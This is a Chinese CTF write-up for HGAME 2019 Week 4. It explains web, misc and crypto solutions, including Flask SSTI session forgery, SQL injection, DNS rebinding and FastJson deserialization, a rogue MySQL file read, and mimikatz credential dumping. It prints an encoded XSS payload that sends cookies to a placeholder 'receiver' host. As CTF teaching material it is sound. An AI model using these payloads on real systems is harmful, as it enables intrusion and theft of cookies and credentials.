Zry.IO

返回

web

happyPython [300]

flask SSTI,一开始以为要读文件或 getshell,但是过滤了圆括号一直无法成功,后来发现只要得到 flask app 的 SECRET_KEY 来伪造 session cookie 即可

首先注册并登录,在 URL 中进行测试,访问 “http://[REDACTED]/{{ 1+1 }}” 页面显示 “/2 doesn’t exist.” 证明存在 SSTI 漏洞

通过 /{{ config }},得到 “‘SECRET_KEY’: ‘9RxdzNwq7!nOoK3*’”

使用 noraj/flask-session-cookie-manager 库即可加解密 session cookie

$ python session_cookie_manager.py decode -s '9RxdzNwq7!nOoK3*' -c '.eJwlj0uqAjEQAO-StYt0ku5Oe5kh_UMRFGZ09Xh3d8B1UVD1V7
bc47iV63v_xKVsdy_Xku6Bs0ntGBmGHcAqQoayL1-yoEKmppsEt9GWo0dTyHkKIVpFNZa2qJMQFnsGEvtwd2oBHJ29k2k1IbMwOnGjNSMzTYeVS7Fjz-39e
sTz7CEBVkEGn9GdFFYn8oHJDCo9B8vELvP0PkfsvwnE8v8FhHpBvQ.XHHyjQ.9yOhR9EUct0NgifQt8-P-Cnrv5g'
{'_fresh': True, '_id': 'fdde5829035efec5311c051feb7dada9a101ffbfdc9e7242ad5de2b1f835ee9b09bbeab2e08651a7dfe567d4ddd62e17e37d36cb0c96ccec6e5626a8efffcb4c', 'csrf_token': '6917b9571d8e3d6b1a366d45f771b93f47985398', 'user_id': '55'}
shellsession

将参数 user_id 的值改为 1,encode 得到 cookie 值,访问页面即可得到 flag

Flag: hgame{Qu_bu_la1_m1ng_z1_14}

happyPHP [300]

php Laravel 渗透

首先注册并登录,在 HTML 中发现注释 “https://github.com/Lou00/laravel”,拉取仓库后进行源码审计

在 app/Http/Controllers/SessionsController.php 中存在 SQL 注入漏洞

// ...[OMITTED]...
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
session()->flash('info', 'hello '.$name[0]->name);
return redirect()->route('users.show');
// ...[OMITTED]...
php

注册 name 为 ' union select email from users where id=1# 的用户并登录,得到管理员账号的邮箱字段为 “[email protected]

注册 ' union select password from users where id=1#,得到管理员账号的密码字段为 “eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==”

这是通过 Laravel 辅助函数 encrypt 加密得到的,解密需要使用 APP_KEY,而源码中并没有 .env 文件指定它

通过 git log 可以看到 .env 文件被删除,进行版本回退即可恢复

既然 .env 已被恢复,在源码目录通过 artisan tinker 可以直接进行解密

$ php artisan tinker
Psy Shell v0.9.9 (PHP 7.3.2 — cli) by Justin Hileman
>>> decrypt('eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==');
=> "9pqfPIer0Ir9UUfR"
shellsession

登录管理员账号即可得到 flag

Flag: hgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}

happyJava [600]

Spring Boot Actuator,可以用脚本扫描一下可访问的 actuator,发现 http://[REDACTED]:9876/mappings 可以得到路由表

{
// ...[OMITTED]...
    "{[/you_will_never_find_this_interface],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"
    },
    "{[/secret_flag_here],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"
    },
// ...[OMITTED]...
}
json

其中 /secret_flag_here 接口可以获得 flag,但仅限 IP 为 127.0.0.1 访问

/youwillneverfindthis_interface 接口接受一个 “url” 参数,会访问该 URL 并回显页面,但不能直接访问 127.0.0.1 或会被解析到 127.0.0.1 的 URL

此时可以通过 DNS Rebinding 攻击,使程序第一次请求 DNS 解析时结果一般的 IP,进行 HTTP 请求时解析到 127.0.0.1,可以使用 nccgroup/singularity,或建立两条 A 记录,其中一条指向 127.0.0.1,有 1/4 的几率成功

成功后得到回显 “data cant be empty!”,给 URL 加上 data 参数 1 进行测试,返回 “WoW! Convert JSON to object…OK!\nResult: 1”

可能存在 FastJson 反序列化漏洞,经过测试发现可以提交经过两次 URLEncode 的 JSON payload 来进行攻击

相关资料请见这里

反弹 shell 后找到 flag 位于 /hgame_flag,读取即可

Flag: hgame{J4v4_ls_s0_34sy_4nd_s0_h4ppy}

happyGo [600]

一个包含以下功能的基于 beego v1.11.1 的网站,提供了源码

  • 用户注册、登录、上传头像
  • 留言查看、新建

类似 BCTF 2018 Web Checkin [存档],但类似 CVE-2018-18925 的漏洞在该版本的 beego 中已被修复,需要进行源码审计找到另外的方法

controllers/userinfo.go 中:

此处上传修改头像的逻辑存在漏洞,通过修改 POST 数据中的 name 参数(源码中的 h.Filename),即可使上传文件被保存到任意位置

在本地搭建好环境,得到一个 UID 为 “1” 的管理员账号的 session 文件,修改 name 参数指定目标路径上传后,修改 cookie PHPSESSID 的值即可使用它伪造身份

管理员账号可以进入后台管理界面,进行删除用户操作,相关实现位于 controllers/admin.go 中:

此处存在漏洞,通过修改上传头像的 name 参数,可以使数据库中该用户的头像文件字段(avatar)值为任意文件,然后被 “os.Remove(user.Avatar)” 操作删除

利用这个漏洞可以删除数据库配置文件 conf/app.conf,如果该文件不存在,就可以通过配置页面(/install)重新配置数据库连接参数

然后通过搭建 恶意 MySQL 服务端,可以利用 LOAD DATA INFILE 语法使客户端读取指定文件内容,相关信息见这里 [存档]

使用 bettercap 及其模块可以进行简单的搭建

$ bettercap -eval "set mysql.server.port 3307; set mysql.server.infile /flag; mysql.server on"
shellsession

由于版本问题可能需要通过 tcpdump 抓包才能看到文件内容

(或使用 allyshka/Rogue-MySql-Server

综上,整体攻击流程为:

  • 注册用户 1,上传头像时指定 name 参数为 ../../conf/app.conf
  • 注册用户 2,上传头像时指定 name 参数为 ../../tmp/0/5/058090c5e2f3bec1f08b40ae7aac3bc2 ,文件内容为伪造的 UID=“1” 的 session
  • 访问后台管理页面,删除用户 1
  • 指定数据库连接配置为搭建好的恶意 MySQL 服务端

(其中伪造的 session 文件路径随意,只需满足格式:../../tmp/substr(filename, 0, 1)/substr(filename, 1, 1)/filename

Flag: hgame{7e5b8be2-eef8-4dca-8997-9c4260fd34a8}

HappyXss [300]

XSS 题,大量敏感字符会被替换为 “ Happy ! ”

且有 CSP:“default-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’; style-src *”

可以通过加载远程样式表来发送 cookie

构造 JS 如下:

var a=document.createElement('link');a.rel='stylesheet';a.href='http://receiver/?a='+btoa(document.cookie);document.body.appendChild(a);
js

进行 ASCII 编码,绕过敏感字符替换

payload 如下:

<iframe src=javascript:eval(String.fromCharCode(118,97,114,32,97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,108,105,110,107,39,41,59,97,46,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,59,97,46,104,114,101,102,61,39,104,116,116,112,58,47,47,114,101,99,101,105,118,101,114,47,63,97,61,39,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59))>
html

后来得知只要用如下 payload 即可绕过替换(<script ></script > 中的空格导致不匹配替换规则)

<script >eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,114,101,99,101,105,118,101,114,47,63,97,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</script >
<!-- JS 代码为: window.location.href='http://receiver/xss.php?a='+document.cookie -->
html

打到 bot 的 cookie 中即有 flag

Flag: hgame{Xss_1s_Re@llY_Haaaaaappy!!!}

misc

Warmup [100]

Windows minidump 内存取证,使用 mimikatz 即可获得用户密码

mimikatz # sekurlsa::minidump 1.gif
Switch to MINIDUMP : '1.gif'

mimikatz # sekurlsa::logonPasswords
% ...[OMITTED]... %
       tspkg :
         * Username : Hgame
         * Domain   : xyf-PC
         * Password : LOSER
% ...[OMITTED]... %
plaintext

按题目要求计算得到密码 “LOSER” 的 SHA256 哈希值即为 flag

Flag: hgame{dd6dffcd56b77597157ac6c1beb514aa4c59d033098f806d88df89245824d3f5}

Clodown [200]

Windows 内存取证,使用 volatility 分析

(通过 imageinfo 插件分析得到的建议 profile 有误,实际应为 Win7SP1x64)

通过 hivelist 和 hashdump 插件来提取用户密码哈希值

将用户 xyf 的密码 NTLM 哈希值 “0bb8d932bbfee69fbc874214f39b1b67” 在 cmd5.com 找出一个对应密码(admin123456),再计算其 SHA256 即为题目要求的 flag

Flag: hgame{ac0e7d037817094e9e0b4441f9bae3209d67b02fa484917065f71b16109a1a78}

暗藏玄机 [150]

两张看着一样的 PNG 图片,猜测为盲水印隐写,可使用 chishaxie/BlindWaterMark 直接提取出隐写内容

$ python2 bwm.py decode "开学啦.png" "开学了.png" output.png
image<开学啦.png> + image(encoded)<开学了.png> -> watermark<output.png>
shellsession

得到的图片中即含有 flag

Flag: hgame{h1de_in_THE_p1Cture}

crypto

easy_rsa [200]

RSA 共模攻击,通过如下 python 脚本即可解出 m

Flag: hgame{59594981651654789}

Sign_in_SemiHard [500]

CNSS 2018 招新赛的题,通过如下 python 脚本即可解出 flag (需要 hashpumpy 模块进行哈希长度扩展攻击)

Flag: hgame{hard_cryptooooo!}

HGAME2019 - Week 4 writeup
https://zry.io/zh/ctf/hgame2019-week-4-writeup
作者 zry98
发布于 2019年2月22日